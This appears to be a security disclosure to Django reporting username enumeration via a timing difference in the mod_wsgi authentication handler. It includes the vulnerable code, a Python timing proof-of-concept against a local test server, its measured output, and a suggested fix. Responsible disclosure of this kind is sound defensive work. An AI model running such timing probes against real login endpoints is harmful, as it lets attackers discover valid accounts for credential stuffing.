Django · Report #3424977
User enumeration via timing attack in Django mod_wsgi authentication backend leads to account discovery
How it was found
User enumeration via timing attack when using mod_wsgi authentication backend
Hi Django Security Team,
Issue Description
The vulnerability exists in the check_password function in django/contrib/auth/handlers/modwsgi.py. When a non-existent username is provided, the function returns immediately without performing password verification:
def check_password(environ, username, password):
"""
Authenticate against Django's auth database.
mod_wsgi docs specify None, True, False as return value depending
on whether the user exists and authenticates.
"""
# db connection state is managed similarly to the wsgi handler
# as mod_wsgi may call these functions outside of a request/response cycle
db.reset_queries()
try:
try:
user = UserModel._default_manager.get_by_natural_key(username)
except UserModel.DoesNotExist:
return None
if not user.is_active:
return None
return user.check_password(password)
finally:
db.close_old_connections()
Steps to Reproduce
- Launch the provided docker container to setup the testing environment. I tried to follow the official documentation to build this environment.
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth
- Run the following Python script:
import requests
from requests.auth import HTTPBasicAuth
url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"
#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))
# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
The script produces output similar to:
379669
3090
2347
236157
This clearly demonstrates that authentication attempts with existing usernames (admin) take significantly longer than attempts with non-existent usernames.
Impact
This timing attack allows attackers to enumerate valid usernames in the system, which can be used as a stepping stone for further attacks such as credential stuffing or brute force attempts focused on known valid accounts.
Remediation
I suggest applying the same counter-measure implemented in the other authentication backend, namely calling UserModel().set_password(password) before returning None :
def check_password(environ, username, password):
"""
Authenticate against Django's auth database.
mod_wsgi docs specify None, True, False as return value depending
on whether the user exists and authenticates.
"""
# db connection state is managed similarly to the wsgi handler
# as mod_wsgi may call these functions outside of a request/response cycle
db.reset_queries()
try:
try:
user = UserModel._default_manager.get_by_natural_key(username)
except UserModel.DoesNotExist:
UserModel().set_password(password)
return None
if not user.is_active:
UserModel().set_password(password)
return None
return user.check_password(password)
finally:
db.close_old_connections()
With this fix implemented, the previous PoC produces results like this:
339185
340059
342360
342630
Demonstrating that it fixes the vulnerability.